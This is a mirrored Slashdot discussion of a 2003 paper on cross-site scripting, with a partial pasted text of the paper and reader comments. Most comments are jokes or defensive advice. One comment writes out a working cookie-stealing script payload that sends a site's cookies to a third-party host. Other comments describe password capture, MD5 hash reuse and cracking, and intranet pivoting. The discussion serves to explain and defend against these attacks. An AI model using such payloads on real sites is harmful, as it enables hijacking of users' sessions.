Slashdot Mirror


The Anatomy of Cross Site Scripting

LogError writes "Many documents discuss the actual insertion of HTML into a vulnerable script, but stop short of explaining the full ramifications of what can be done with a successful XSS attack. While this is adequate for prevention, the exact impact of cross site scripting attacks has not been fully appreciated. This paper will explore those possibilities."

208 comments

  1. Text Version for People Who Hate PDFs by akedia · · Score: 3, Informative

    The Anatomy of Cross Site Scripting
    Anatomy, Discovery, Attack, Exploitation
    by Gavin Zuchlinski (gav@libox.net )
    http://libox.net/
    November 5, 2003

    Introduction
    Cross site scripting (XSS) flaws are a relatively common issue in web
    application security, but they are still extremely lethal. They are
    unique in that, rather than attacking a server directly, they use a
    vulnerable server as a vector to attack a client. This can lead to
    extreme difficulty in tracing attackers, especially when requests are
    not fully logged (such as POST requests). Many documents discuss the
    actual insertion of HTML into a vulnerable script, but stop short of
    explaining the full ramifications of what can be done with a successful
    XSS attack. While this is adequate for prevention, the exact impact of
    cross site scripting attacks has not been fully appreciated. This paper
    will explore those possibilities.

    Anatomy of a Cross Site Scripting Attack
    A cross site scripting attack is typically done with a specially crafted
    URI that an attacker provides to their victim. The XSS attack could be
    considered analogous to a buffer overflow, where the injected script is
    similar to overwriting an EIP. In both techniques, there are two options
    once a successful attack has occurred: insert funny data or jump to
    another location. Insertion of funny data during a buffer overflow
    typically results in a denial of service attack. In the case of a XSS
    attack, it allows the attacker to display arbitrary information, and
    suppress the display of the original webpage. When jumping to
    another location during a buffer overflow attack, the new location is
    another location in memory where shellcode or other important data
    resides - allowing the attacker to take control of the flow of the
    program. Within the XSS context, the attacker instead jumps the
    victim to another location on the Internet (typically under the
    attacker's control), hijacking the victim's web browsing session.

    Discovery
    But how do cross site scripting attacks occur? XSS attacks are the
    result of flaws in server- side web applications and are rooted in user
    input which is not properly sanitized for HTML characters. If the
    attacker can insert arbitrary HTML then they could control execution of
    the page under permissions of the site. A simple page vulnerable to
    cross site scripting looks like:

    Once the page is accessed, the variable sent via the GET method is
    placed directly on the rendered page. Since the input is not marked as
    variable input , the user- supplied input is interpreted exactly as its
    metacharacters command, very similar to SQL injection. Passing
    "Gavin Zuchlinski" as an argument outputs the content in correct form:
    Sending input with HTML metacharacters allows for unexpected output:
    The input is not validated by the script before rendering by the victim's
    web browser. This allows for user controlled HTML to be inserted on to
    the vulnerable page. Occasionally user input not directly parsed by the
    script it is sent to. Rather, the data is inserted into a file or database
    and retrieved later to be reinserted on the page.
    Common points where cross site scripting exists are confirmation
    pages (such as search engines which echo back user input in the event
    of a search) and error pages that help the user by filling in parts of the
    form which were correct. Commonly in the latter case (and sometimes
    the former) the containment of the form text box must be escaped
    with a quote and a greater than sign ("> - the quote closes the value
    property and the greater than closes the tag).

    Attack
    Once a vulnerable input is identified the valid HTTP methods must be
    determined. The way in which the variables are sent to the target
    script is an important consideration; are variables sent by GET, POST,
    or will either work? Some scripts are specific, but several which use
    canned methods (like PHP and Perl scr

    1. Re:Text Version for People Who Hate PDFs by Anonymous Coward · · Score: 3, Funny

      I, for one, welcome our Karma loving Whorverloads.

    2. Re:Text Version for People Who Hate PDFs by calethix · · Score: 1, Insightful

      How'd this get modded redundant? I only see 3 posts right now and if it wasn't for this one I wouldn't be able to read the paper because it appears to be slashdotted already.

    3. Re:Text Version for People Who Hate PDFs by Captain+Nitpick · · Score: 1
      How'd this get modded redundant? I only see 3 posts right now and if it wasn't for this one I wouldn't be able to read the paper because it appears to be slashdotted already.

      Many people consider cut-and-pasting the article to be inherently redundant. I generally agree with them.

      --
      But then again, I could be wrong.
    4. Re:Text Version for People Who Hate PDFs by samjam · · Score: 4, Insightful
      Many people consider cut-and-pasting the article to be inherently redundant. I generally agree with them

      An accurate judgement, no doubt, but the point is this:
      Is there any value in moderating the post as redundant - redundant it may be, but useful, and arguably more useful than its moderation as redundant

    5. Re:Text Version for People Who Hate PDFs by Ed+Avis · · Score: 1

      Remember that as with so many security holes, this is first of all a bug, and becomes a vulnerability later.

      If when displaying some text you assume that text == HTML and just paste it in, so that /etc/passwd' and how many construct a string to pass to system() with similar vulnerabilities.)

      --
      -- Ed Avis ed@membled.com
    6. Re:Text Version for People Who Hate PDFs by Ed+Avis · · Score: 1

      Heh, I think the above comment proves some kind of point (although it may not be my own). A big chunk of the comment between angle brackets was chopped out by Slashdot. Why it can't just quote the bracket characters I don't know.

      --
      -- Ed Avis ed@membled.com
    7. Re:Text Version for People Who Hate PDFs by PickyH3D · · Score: 1

      I always felt the problems dealing with XSS were obvious. Stating it in this great of detail just asks for the same problems in respect to stating how to exploit specific buffer overflows (as seen in bug reports for MS and Linux).

    8. Re:Text Version for People Who Hate PDFs by harkabeeparolyn · · Score: 2, Insightful

      It's not redundant if the site has been slashdotted into oblivion and the cut-and-paste is the the only way we're going to see the paper today.

    9. Re:Text Version for People Who Hate PDFs by Anonymous Coward · · Score: 0

      So not only did you post your comment under a completely unrelated thread (karma-whote story text repost), but yoy fucked it up too. Good job!

    10. Re:Text Version for People Who Hate PDFs by Disavian · · Score: 1

      It's also not too redundant if I hate PDFs. (I do). Acutally, that would make a good /. poll, if it hasn't already been done.

    11. Re:Text Version for People Who Hate PDFs by keith.bronstrup.com · · Score: 0

      And there is no redundancy in all of your redundant complaining over and over again and again about how someone once more modded the post redundant after the article got posted a second time? Haven't you learned anything from RAId arrays? Sometime redundancy is a good thing, you knw, it's good to make sure you keep a spare copy somewhere; then copy it again, and copy it over, and once more to be sure. Mod this redundant when, and only when, it is as positive karma modifier. Redundancy can be good.

      --
      Error 666 - SCO source has been found in your Linux kernel. Please remove it.
      Formerly kdsolutions
    12. Re:Text Version for People Who Hate PDFs by Anonymous Coward · · Score: 0

      Am I gay, if I'm attracted to Bugs Bunny in drag?

  2. Can someone explain? by blane.bramble · · Score: 2, Informative

    Why is Cross Site Scripting XSS? Or have we reverted to referring to letters by the way they look?

    1. Re:Can someone explain? by Anonymous Coward · · Score: 2, Funny

      Writing an X instead of the word 'cross' makes you l33t.

      DUH.

    2. Re:Can someone explain? by 3.5+stripes · · Score: 1

      Why is christmas abbreviated as Xmas?

      One of those mysteries of life that philosophers have spent years pondering.

      --


      He tried to kill me with a forklift!
    3. Re:Can someone explain? by Anonymous Coward · · Score: 2, Informative

      Because CSS is Cascading Style Sheets. That definition of CSS is approved by W3C and has been around for quite a while.

      Google, dumbass. Do you speak it?

    4. Re:Can someone explain? by stevey · · Score: 2, Informative

      It was used on bugtraq once or twice and just stuck - there are a few more examples in this XSS FAQ.

    5. Re:Can someone explain? by Anonymous Coward · · Score: 0

      CSS usually means Cascading Style Sheets.

    6. Re:Can someone explain? by Anonymous Coward · · Score: 0

      1. Cross is frequently replaced by 'X' (Railroad X-ing)
      2. The internet is still about porn, and tricking people into thinking they'll get some. (think X-rated)
      3. Attacks from former 50v137 Republics that 0VV3d j00r 5173, d00d are examples of eXtreme programing.
      4. You may now return to your regularly schedueled trolling (IHL. IHBT. IWHAND.)

    7. Re:Can someone explain? by nestler · · Score: 4, Informative
      X is a cross if you look at it.

      The main reason Cross Site Scripting is abbreviated XSS (instead of CSS) is to avoid confusing it with Cascading Style Sheets (this confusion is likely to happen since both of these things are related to web pages).

    8. Re:Can someone explain? by itsari · · Score: 1

      Because CSS is already taken.

    9. Re:Can someone explain? by croddy · · Score: 1

      "X" is a traditional abbreviation for "cross" or "trans" for example "xref" or "xmit".

    10. Re:Can someone explain? by Anonymous Coward · · Score: 0

      somebody told me once that it was something to do with X being the latin (or maybe something else) for Christ. or maybe people are just a bit dim and thought it was called Crossmass....

    11. Re:Can someone explain? by 3.5+stripes · · Score: 0

      I thought the fish thingy was christ.

      Aw hell, it's not my religion anyways, what would I know.

      --


      He tried to kill me with a forklift!
    12. Re:Can someone explain? by spuke4000 · · Score: 1
      I'm not at all a bibical scholar, but I think I know this. Ancient Chistians used to write Jesus Christ as Chi Rho (they used the greek alphabet). Chi Rho looks kind of like XP (insert windows joke here). Anyway, I think this got abreviated to chi, so there you go, Jesus = X.

      In catacombs under Rome you can see 'X' carved into the walls, which was done by Christians who were persacuted by the Romans.

      --
      This post cannot be rebroadcast without the express written constent of Major League Baseball.
    13. Re:Can someone explain? by Anonymous Coward · · Score: 0

      Nice number of responses, cheeky short troll. Congratulations.

    14. Re:Can someone explain? by keep_it_simple_stupi · · Score: 1

      Because CSS is taken and XSS sounds "kewl" to the script kiddies.

    15. Re:Can someone explain? by bfischer · · Score: 0

      IXOYE (pronounced ick-this) is a greek acronym for Christ is Lord and Savior (or something similar). Those initials happened to spell out IXOYE (greek for fish) so the christians use that symbol.

    16. Re:Can someone explain? by BOFHelsinki · · Score: 1

      The I comes from Iesus, IIRC. (No, it's not in "IIRC".)

    17. Re:Can someone explain? by Anonymous Coward · · Score: 0

      Quit making shit up. Christos is spelled with an "X". The fish symbol is a reference to one of the miracles.

    18. Re:Can someone explain? by bfischer · · Score: 0

      I am not making anything up you moron. Read a book sometime. I just looked it up and I was wrong on what the acronym meant, but I had the right general idea (unlike you, you basement dweller). IXOYE spells fish in Greek. The letters stand for "Jesus Christ, God's Son, Savior". Also, just because the order of the words does not seem right, if you spoke more than english, you would realize that not all languages put things in the same order.

    19. Re:Can someone explain? by corbettw · · Score: 1

      Interesting. Is that where "X marks the spot" originated?

      --
      God invented whiskey so the Irish would not rule the world.
    20. Re:Can someone explain? by glwtta · · Score: 1
      Anyway, I think this got abreviated to chi, so there you go, Jesus = X.

      Actually, Chi is quite simply the first letter of the Greek (the new testament was written in Greek, remember?) spelling of Christ, and it just happens to look like an X.

      Jesus on the other hand just with an Iota (Greek didn't have a J equivalent).

      Here's what that actually looks like.

      --
      sic transit gloria mundi
    21. Re:Can someone explain? by Anonymous Coward · · Score: 0

      "CSS usually means Cascading Style Sheets."

      And here I've been trying to add Cross Site Scripting support to my web site because I thought it was the latest fad and wanted to be hip like everyone else.

    22. Re:Can someone explain? by ajs318 · · Score: 2, Interesting

      The English letter X has the same shape as the Greek letter chi, which has the English sound "kh" or "ch". Chi is also the first letter of the Greek word Khristos, meaning Christ. So "X" became an abbreviation for "Christ".

      The fish thing is from the Greek word "Ikhthus" {iota, chi, theta, upsilon, sigma} meaning "fish" but also forming an acronym of the Greek words which translate as "Jesus Christ, Son of God, Saviour". The early Christians, forced to meet in secrecy, identified themselves to one another by the sign of the fish <><. This is still used today by Christians, and can be seen outside businesses, homes and on the bumpers of cars - so the rest of us know who to avoid.

      --
      Je fume. Tu fumes. Nous fûmes!
    23. Re:Can someone explain? by Anonymous Coward · · Score: 0

      No electronic engineer can spell "receive" nor "transmit" - too used to writing Rx and Tx. Had to learn to spell "therefore" as well, there not being a triangle of three dots in ASCII!

    24. Re:Can someone explain? by Anonymous Coward · · Score: 0

      Plus... "X" is in now. Everything must have an "X" in it or immediately be rendered lame.

    25. Re:Can someone explain? by Black+Perl · · Score: 1

      Had to learn to spell "therefore" as well, there not being a triangle of three dots in ASCII!


      In HTML 4.0, you can use &there4;

      To support HTML 3.2 you have to use .&middot;. (where the . are bold)

      The lowest common denominator (no pun intended) is .<sup>.</sup>.

      --
      bp
    26. Re:Can someone explain? by corbettw · · Score: 1

      Because the Marketting department said anything with "Xtreme" in the title would be more popular.

      --
      God invented whiskey so the Irish would not rule the world.
    27. Re:Can someone explain? by UserGoogol · · Score: 1

      Well, actually there's a lot of connections between fish and Jesus, (loaves and fishes, Peter was a fisherman, the pope hat looks a little like a fish head...) so that might've been a backronym.

      --
      "Never attribute to malice that which can be adequately explained by stupidity." -- Hanlon's Razor
    28. Re:Can someone explain? by Anonymous Coward · · Score: 0

      Phfff. I'll prove you wrong.

      Receive, transmit, therefore.

    29. Re:Can someone explain? by gorilla · · Score: 2, Informative

      The fish on the bumpers of cars is of course one side in the Fish Wars

    30. Re:Can someone explain? by gorilla · · Score: 1

      The problem is that we're running out of TLA's. Almost every TLA has two, three or even more meanings. The solution to this problem is obvious, use more lettters. FLA's, FLA's, or even SLA's give us much more potential for uniqueness than TLA's do. Unfortunatly this gets more and more complex. SLA's are so complex that no-one can remember what they stand for, or even which order the letters should go in. For example the most famous SLA is probably PCMCIA, and even that's not unique. In order to ensure perfect uniqueness I propose that we should junk all the existing acronyms, and go to FSLA.

    31. Re:Can someone explain? by Anonymous Coward · · Score: 0

      It's not CSS because that would get it confused with Cascading Style Sheets. As for why X, who knows.

    32. Re:Can someone explain? by aled · · Score: 1

      I tried replacing X by Xtreme to get better effect:
      Xtreme Windows
      Window XtremeP
      javaXtreme.swing
      Mac OS Xtreme
      XtremeML
      XtremeSL

      mmmh... I dunno...

      --

      "I think this line is mostly filler"
  3. Static by itsari · · Score: 0, Redundant

    Static webpages aren't vunerable to this kind of attack. Yay!

    1. Re:Static by Anonymous Coward · · Score: 1, Funny
      Static webpages aren't vunerable to this kind of attack. Yay!

      Neither is my Ford Taurus, Orangutans, or bananas. What's your point?

    2. Re:Static by orthogonal · · Score: 4, Funny
      Static webpages aren't vunerable to this kind of attack. Yay!
      Neither is my Ford Taurus, Orangutans, or bananas. What's your point?

      You're sure bananas aren't vulnerable?

      Now he tells me. Oh, oh, the time I have wasted.
    3. Re:Static by jon3k · · Score: 2, Insightful

      -1 for captain obvious, here.

      Static web pages also went out with beta video cassettes.

    4. Re:Static by Anonymous Coward · · Score: 0

      Our site gets 6 million+ hits a day. We update static pages once every 30 seconds using dynamic utilities. Tell me how many web servers we'd need if the information was generated dynamically and ripped from a database on the fly? Oh maybe instead we could use some not-very-elegant caching proxy solution. Or maybe instead we could use the easiest method - an external program updating static pages every 30 seconds ;-) Static pages have purpose - always will.

    5. Re:Static by Anonymous Coward · · Score: 0

      Even /. does this. The front page is static so are all article pages until you choose different filtering/display on the page. This is the best way to do things in most cases even on bulleting board systems because 90% of the usage is read only. The page static page should only be updated by the back end when someone submits a comment. As in only regenerate content when the content changes, not every time someone loads the page.

    6. Re:Static by jon3k · · Score: 1

      Sorry, next time I'll make sure and specify that when I say static, I'm speaking strickly of permenant, static, manually updated content vs. dynamically generated static pages ALONG WITH purely dynamic, data driven sites. I've always had a habbit of assuming too much :)

      I agree with you 100%, should have been clearer.

  4. Booring by SpaceCadetTrav · · Score: 2, Interesting

    Cross-site scripting vulnerabilities are just not as exciting as your standard buffer overflow. There are no crashes, no worms, etc. Unfortunately people are just not going to pay attention.

    1. Re:Booring by xchino · · Score: 4, Insightful

      I completely disagree. XSS is as dangerous if not more so than a buffer overflow, im many cases. Take this for example:

      Your target is one or more users of a community web site. The site itself isn't the target, only the means to your own ends. Remember, it's the users you are after, not the site itself. So you smash the stack on the server, grap the mySQL database, and open it up. Bummber, all the passwords are md5'd and basically useless. With XSS you could conceivably alter the login for that they get, and before md5($password) is executed you export $password (still in plain text) off to your little database.

      Cracking isn't about what is the most "exciting and leet" way to do it, it's about using the tools you have at your disposal to get what you want done, done. Sometimes this is a buffer overflow, sometimes it a XSS attack, sometimes an emailed trojan, and sometimes even social engineering to gain physical access (even via an unwitting human proxy).

      --
      Everyone is entitled to their own opinion. It's just that yours is stupid.
    2. Re:Booring by Carnildo · · Score: 2, Informative

      Just because a password is MD5-encoded doesn't mean it's useless.

      1) You can put the user ID and MD5-encoded password in your own cookies, and log in as the user.
      2) You can find another site that user logs in on, find their user ID, and use the captured MD5 password to log in as them -- people tend to use the same password in many places
      3) You can feed the MD5 password into a password cracker. If it's in a dictionary, you'll get the cleartext version in seconds; brute-forcing all possible 7-character passwords only takes a few weeks.

      --
      "They redundantly repeated themselves over and over again incessantly without end ad infinitum" -- ibid.
    3. Re:Booring by ajs318 · · Score: 1

      7 characters? I think you're getting your md5 mixed up with your crypt(3) .....

      What if the intended target server is using https? Would the grabbing script {presumably ordinary http} get the encrypted or the plaintext version? If the browser thinks it's sending the form via https, then it has no reason to send out the unencrypted version - does it?

      --
      Je fume. Tu fumes. Nous fûmes!
    4. Re:Booring by pballsim · · Score: 1

      The best book to cover XSS is:
      Writing Secure Code by Michael Howard and David LeBlanc.

      In short you can do a lot of things with XSS. One notably is spoofing people into giving you credit card numbers etc. You can send an e-mail saying you are "Ebay" and have them click an url. The url could be:

      www.ebay.com[lotsofcrap]@fakls;jas.com:youvebeenha ck.com

      Another such attack allows you to have whatever permissions the user who is running the backends permission. Therefore if the user is using a database you can drop tables, create tables, add yourself as an admin, etc.

      There are tons of them. So read Writing Secure Code. Yet it is from Microsoft Press but it is a great book. Very well written.

    5. Re:Booring by Carnildo · · Score: 1

      I'm speaking from personal experience here. Three weeks to brute-force all seven-character passwords from a set of 30 MD5-encoded passwords.

      What if the intended target server is using https? Would the grabbing script {presumably ordinary http} get the encrypted or the plaintext version? If the browser thinks it's sending the form via https, then it has no reason to send out the unencrypted version - does it?

      The big threat from XSS is that, assuming the site isn't using secure cookies, it doesn't matter if the browser and site are using HTTP or HTTPS -- an XSS attack will still be able to grab cookies or session IDs.

      A basic XSS attack might look like
      <script>document.write('<img src="http://my.site.com/pixel.gif?' + document.cookies + '">')</script>
      which would send any cookies set by the site off to a third party.

      --
      "They redundantly repeated themselves over and over again incessantly without end ad infinitum" -- ibid.
    6. Re:Booring by ajs318 · · Score: 1

      Ah, right. I thought you were implying only 7 characters were ever encrypted when using MD5. I see now.

      You basically are trying to get a piece of JavaScript sourced off one site to modify a document sourced off another site {and since that connection isn't encrypted, the cookie contents won't be encrypted either - but the "query string", neatly formatted too thanks to the HTML cookie spec being so similar, will be recorded in /var/log/httpd/access.log even if your one-pixel gif ignores it}.

      Surely a well-written web browser would alert the user to these sort of shenanigans? Maybe even not permit the running of JavaScript except from selected sites? *cough* Konqueror *cough*

      --
      Je fume. Tu fumes. Nous fûmes!
    7. Re:Booring by Anonymous Coward · · Score: 0

      It was a pretty crappy article, without the full problems of XSS bing mentioned.

      The worst two problems by far are SQL injections and redirections to and hijacking of trusted lan intranet sites! In which case, especialy with intenet explorer the attacker can force the execution of arbitrary code on the vitims client machine (trusted site), ala the silly file://c| trick but in this instance it actually can be malicious and work.

      If I get another invalid form key I'm going to visit each member of slashdot staff personally and slap them around a bit with a cowboy neal.

    8. Re:Booring by pod · · Score: 1

      What you are describing has nothing to do with cross-site scripting. You're just cracking a web site to redirect traffic. At best it's a man-in-the-middle attack.

      A cross-site scripting exploit would be posting a specially crafted comment to the forums what would result in visitors' cookies being sent to the attacker.

      --
      "Hot lesbian witches! It's fucking genius!"
    9. Re:Booring by Anonymous Coward · · Score: 0

      You don't seem to grasp the severity of this.

      Take this for example. You know of a web server running some common CMS package sitting on a corporate intranet which has XSS flaws. You also know that the company has a public web presence with a bbs for comments that is read by staff via the intranet. All you have to do is place a link on the bbs poiting to the intranet site with the XSS flaw with some embeded nasties such as execution of arbitrary commands. IE will permit this since it will appear to be comming from the "Local Intranet" zone since it is the intranet web server displaying this information, not the public server.

  5. XSS Protection by mnmlst · · Score: 4, Informative

    Cross Site Scripting attack protection is a standard feature of many network security products these days. Check Point NG with Application Intelligence (Feature Pack 4 in other words) includes XSS protection as part of its' so-called SmartDefense. I am curious if anyone has run into situations where SmartDefense is screwing up legitimate traffic, especially traffic that resembles an XSS attack.

    BTW, does anybody have some good recommendations for cheaper alternatives with pretty comparable protection to Check Point? I would like something that is as defensive, but not as configurable or extensible.

    --
    In principio erat Verbum.
    1. Re:XSS Protection by tuffy · · Score: 1
      I am curious if anyone has run into situations where SmartDefense is screwing up legitimate traffic, especially traffic that resembles an XSS attack.

      "Cross-site scripting" or XSS sounds like a fancy way of saying "failed to properly escape arbitrary client-submitted data". If user input is properly escaped (or otherwise cleansed) when outputted to a web page, there shouldn't be any vulnerability or interference with ligitimate input submission.

      --

      Ita erat quando hic adveni.

    2. Re:XSS Protection by nehril · · Score: 2, Informative

      look at netscreen. pretty advanced firewall in a box, many different levels of hardware available, pretty secure and far, far cheaper than checkpoint.

      hardware accelerated vpns, available redundancy/HA, straightforward config, and no need to buy/maintain server class hardware + os in order to run it (no moving parts except fan I think).

      not a bad deal if you don't need specific Checkpoint features. unfortunately their last firmware update seems to have undone the "simplicity factor" that they were so popular for.

    3. Re:XSS Protection by Erwin-42 · · Score: 1

      I'm not sure if it's some XSS protection, but I've noticed certain submissions to one of my sites to be occasionally mangled. E.g. a variable called foo1234.1.2 will have its name mangled to foo~~~~.1.2 as if something on the user's site considered 1234 to be a dangerous number. I've seen this happen very rarely however, maybe 3-4 times in the last 6 months with a 100k unique clients. Since all those numbers are generated on the client and are hidden variables obviously this protection, if it is indeed trying to protect sensitive numbers, is doing more harm than good!

      Whatever product does this also mangles Referer to Weferer and replaces it with a long string of hex digits.

    4. Re:XSS Protection by Carnildo · · Score: 1

      The biggest problem is figuring out what data needs to be escaped, and how. For example, did you know that you can place a working onMouseClick javascript in a tag? Instant "hyperlink"! What about in an tag? What attributes will you allow in an tag? How are you going about converting those [i] BBCode tags? Can someone sneak code in that way?

      --
      "They redundantly repeated themselves over and over again incessantly without end ad infinitum" -- ibid.
    5. Re:XSS Protection by Anonymous Coward · · Score: 3, Informative

      ASP.NET 1.1 will, by default, refuse to process any forms that have fields in which the user has tried to post values that contain HTML. You can override on a per-page basis, but I think it's a reasonable default.

    6. Re:XSS Protection by tuffy · · Score: 1

      What's just as bad is a user deciding to send off "s to the database server. When properly escaped by certain database modules, they pose no harm. The moral to all of this is to never trust user input. But when staff is short and a deadline is looming, these sorts of silly little goofs can turn into big problems further down the line.

      --

      Ita erat quando hic adveni.

  6. Re:h3110 by Anonymous Coward · · Score: 0

    Post some personal information and I am sure someone will show you how it is done.

  7. Short solution by Anonymous Coward · · Score: 5, Insightful

    Do not have a blacklist for denying invalid input. It's hell/impossible to maintain such blacklists

    Handle all user input as it was written by satan himself, and only allow input complying to your strict specification.

  8. English for Geeks 101 by protoshoggoth · · Score: 1
    From the article:

    Supposing that the above hello.php was on the same domain as a message board, posting the link to the board would illicit many victims.

    That's 'elicit', not 'illicit'.

    1. Re:English for Geeks 101 by aminorex · · Score: 3, Funny

      I'm not going to just lay here and take this.
      Hey, if you don't like the affect of English
      spelling history, you can just immigrate to
      some place where they speak Canadian. Your
      allusions of superiority try to make capitol
      of the principals of colloquial language, but
      in doing so they create a climactic change
      which I find frankly unseasoned.

      --
      -I like my women like I like my tea: green-
    2. Re:English for Geeks 101 by Anonymous Coward · · Score: 0

      Not to nitpick, but you mean "effect" and not "affect".

      Have a nice day.
      -A Canadian, who clearly possesses a better command of the English language than yourself.

    3. Re:English for Geeks 101 by drakaan · · Score: 1

      Oh, come on...SOMEbody mod this parent funny.

      --
      "Murphy was an optimist" - O'Toole's commentary on Murphy's Law
    4. Re:English for Geeks 101 by drakaan · · Score: 0

      also "butt in doing so...witch eye find frankly unseasoned."

      --
      "Murphy was an optimist" - O'Toole's commentary on Murphy's Law
    5. Re:English for Geeks 101 by Anonymous Coward · · Score: 0

      He was taking potshots at the other poster's grammer abilities, no doubt.

    6. Re:English for Geeks 101 by DrWhizBang · · Score: 1

      Yes, I believe he has made an illicit use of the word "illicit". Wwould it be reasonable to assume that it was this illicit used that did ellicit your comment?

      --
      Schrodinger's cat is either dead or really pissed off...
    7. Re:English for Geeks 101 by Anonymous Coward · · Score: 0

      Hey moron, the post that the AC responded to was sarcasm. The first post had lots of intentional grammatical errors (allusions should be illusions, lay should be lie, etc..). The AC posted a "you're" instead of "your" because most people make that mistake. You are an idiot and a fool for not seeing it as sarcasm.

    8. Re:English for Geeks 101 by DrWhizBang · · Score: 1

      Hey, if you don't like the affect of English
      spelling history, you can just immigrate to
      some place where they speak Canadian.


      Like up in here in Canadia?

      fwiw, I was watching British comedian Jimmy Carr the other night on TV, and he used the following bit:

      "You might be wondering where I am from considering my accent. Although you could say I don't have an accent at all. I am from England, this is what English sounds like when it is pronounced correctly."

      --
      Schrodinger's cat is either dead or really pissed off...
    9. Re:English for Geeks 101 by platipusrc · · Score: 1

      He really meant to say that he speaks accented American!

      --
      And the muscular cyborg German dudes dance with sexy French Canadians
    10. Re:English for Geeks 101 by keriaan · · Score: 1

      Not to further provoke you or anything . . . but I believe that you meant effect not affect.

    11. Re:English for Geeks 101 by Anonymous Coward · · Score: 0

      You've got nothing better to do than put me down, you piece of garbage? You should only get AIDS and die, you pig. How's that?

    12. Re:English for Geeks 101 by Anonymous Coward · · Score: 0

      Good job sparky!

      Now find the other six errors he hid in the post.

    13. Re:English for Geeks 101 by bensgroi · · Score: 0

      Yes, but it's a sense of humor that you really need...

      --
      You'll like being a dude!
    14. Re:English for Geeks 101 by the_consumer · · Score: 1

      YHBT. YHL. HAND. Duh.

      --
      "If you're thinking what I'm thinking, you're right." -
    15. Re:English for Geeks 101 by Anonymous Coward · · Score: 0

      My god, you're such an idiot, it isn't even funny. Wait, it is.

      You missed, by my count, 5 other amusing mistakes, which can only lead one to the conclusion that it was a humorous post, enjoyable by most people who passed 7th grade English.

    16. Re:English for Geeks 101 by Anonymous Coward · · Score: 0

      I've got lots of time to rid the world of morons like yourself. You're pretty pathetic and no one likes you. No wonder you have so few friends. To top it all off, you think you're smarter than you are. In truth, you're incompetent and have little command of any subject regardless of the lies you spin to the people around you. Yeah, go ask me how I know.

    17. Re:English for Geeks 101 by Anomalous+Cowturd · · Score: 1

      Well done, sir. I complement you!

      --

      Java: the bastard demon spawn of C++ and Ada

    18. Re:English for Geeks 101 by Anonymous Coward · · Score: 0

      I counted 8 total:

      I'm not going to just lay here and take this.
      Hey, if you don't like the affect of English
      spelling history, you can just immigrate to
      some place where they speak Canadian. Your
      allusions of superiority try to make capitol
      of the principals of colloquial language, but
      in doing so they create a climactic change
      which I find frankly unseasoned.

    19. Re:English for Geeks 101 by keriaan · · Score: 1

      Okay, okay, yeah, I know I missed x number of other mistakes I was trying to be funny myself and it bombed.

    20. Re:English for Geeks 101 by Anomalous+Cowturd · · Score: 1

      I was the AC who posted the above, but I wasn't responding to you - I was replying to the snotty AC above who just *had* to be a dick about it. Actually, I screwed up - 'frankly' is correct. (Not sure how I missed that one - that's what I get for posting while stoned)

      Rule illustrated: If you're going to do a smackdown, make sure of your facts. And your usage.
      Corollary illustrated: You will still miss something.

      (Originally AC because I didn't want to post twice in the same thread)

      --

      Java: the bastard demon spawn of C++ and Ada

  9. This is news? by unfortunateson · · Score: 4, Informative

    I'm surprised this merited a news item.
    Webmonkey had a similar article three and a half years ago, that provide some more solid examples of what happens.

    I designed an e-commerce site over the last six years, and evaluated where there might be XSS vulnerabilities. Not having a bulletin board or guestbook removes many areas for exploitation.

    So if someone types contaminated data into their address field when checking out, you'd think all it hoses is their own purchase, right?

    Well, with PHP or Perl CGI, it's possible that the inputted variables could exploit server knowledge: if you know the variable names used in the PHP code for, say, the MySQL password, then embedding this in the input to be evaluated on output can open an avenue for hacking. The variable has to be evaluated in most cases, although code which generates new PHP pages could result in similar problems.

    HTML encode EVERYTHING the user sends to you.

    --
    Design for Use, not Construction!
    1. Re:This is news? by Anonymous Coward · · Score: 0

      Well, with PHP or Perl CGI, it's possible that the inputted variables could exploit server knowledge: if you know the variable names used in the PHP code for, say, the MySQL password, then embedding this in the input to be evaluated on output can open an avenue for hacking. The variable has to be evaluated in most cases, although code which generates new PHP pages could result in similar problems.

      wtf? php and perl have nothing to do with it. you could inject malicious javascript (or malicious SQL or malicious shell commands, etc etc etc) into any application, whether it's written in c, jsp, asp, or cobol.

      or are you saying you're evaluating code that the web client supplies, e.g. dynamically creating a php page and executing it? if that's the case, that's the most obscenely stupid and dangerous programming hack i've ever heard for an e-commerce site.
    2. Re:This is news? by lobsterGun · · Score: 1

      Yeah, That old web monkey article really nipped the whole XSS problem right in teh bud; No need to talk about XSS vulnerabilities any more - web monkey took care of that three years ago. Gavin Zuchlinski is such a n00b. He should find some more important vulnerability to write about, cause it's pretty obvious to all that XSS yesterday's news.

    3. Re:This is news? by gnu-generation-one · · Score: 1

      "HTML encode EVERYTHING the user sends to you."

      You can sometimes spot a website coded by somebody with this methodology...

      For example mandrakeexpert, where the preview window will display 15 backslashes in front of every single-quote you put in your text.

    4. Re:This is news? by onki · · Score: 1
      HTML encode EVERYTHING the user sends to you.
      This doesn't help you. Most xss attacks are not about inserting html but using xss to see where a site is exploitable. The common attacks to 'crack' a site are sql injections based on the information used by xss these days. To prevent such behaviour a coder should not bend the rules to keep his managers time schedule. He/she should: type cast data validate anything that can't be type casted quote data in sql queries etc..... There is no other way.
  10. But of course by freeweed · · Score: 4, Funny

    have we reverted to referring to letters by the way they look?

    Why yes.

    You ever notice that "C" stands for "Cookie"?

    It's good enough for me.

    Now find me some Crescent shaped cookies.

    --
    Endless arguments over trivial contradictions in books written by ignorant savages to explain thunder in the dark.
    1. Re:But of course by Artcfox · · Score: 1

      hahahaha!

  11. Disappointing by Unfallen · · Score: 1
    "Many documents discuss the actual insertion of HTML into a vulnerable script, but stop short of explaining the full ramifications of what can be done with a successful XSS attack"

    I was hoping for some enlightened progression into the interesting-for-some field of cross-siting, but am sorely disappointed at this basic-tut-in-PDF-clothing. Most people don't really discuss much when it comes to XSS as there isn't much to discuss. Well, maybe there is, but this paper doesn't highlight anything new or adventurous, just what any sentient techie could work out in 5 minutes of thought. Quite why it deserves so much attention (I've been meaning to check it out for a few days now...) is way beyond me. Pretty much everything in this "paper" was realised as soon as the first XSS attack was made. Ask Hotmail.

    However, I suspect that there is some really interesting stuff that can be done involving cookies, plus I've also been trying to figure out site-wide ways to prevent cookie stealing (cookies across domains, progressive cookies, challenge-response methods...) but if anyone has any links to further research on this, I'd be grateful. There are some very interesting, more social, less technical ramifications as well as it begins to merge with ID theft and similar ilks.

    If web services get big, really big, then such basic authentication for sessions may have to be addressed. At the moment, we're probably lucky to get away with just having our blogs taken over (though a few too many of them, and we may say differently...)
  12. Free Article on Cross-Site Attacks by shiflett · · Score: 4, Informative

    Although it is PHP-specific, this free article explains XSS and CSRF in quite a bit of detail and might be useful for Web developers using any language:

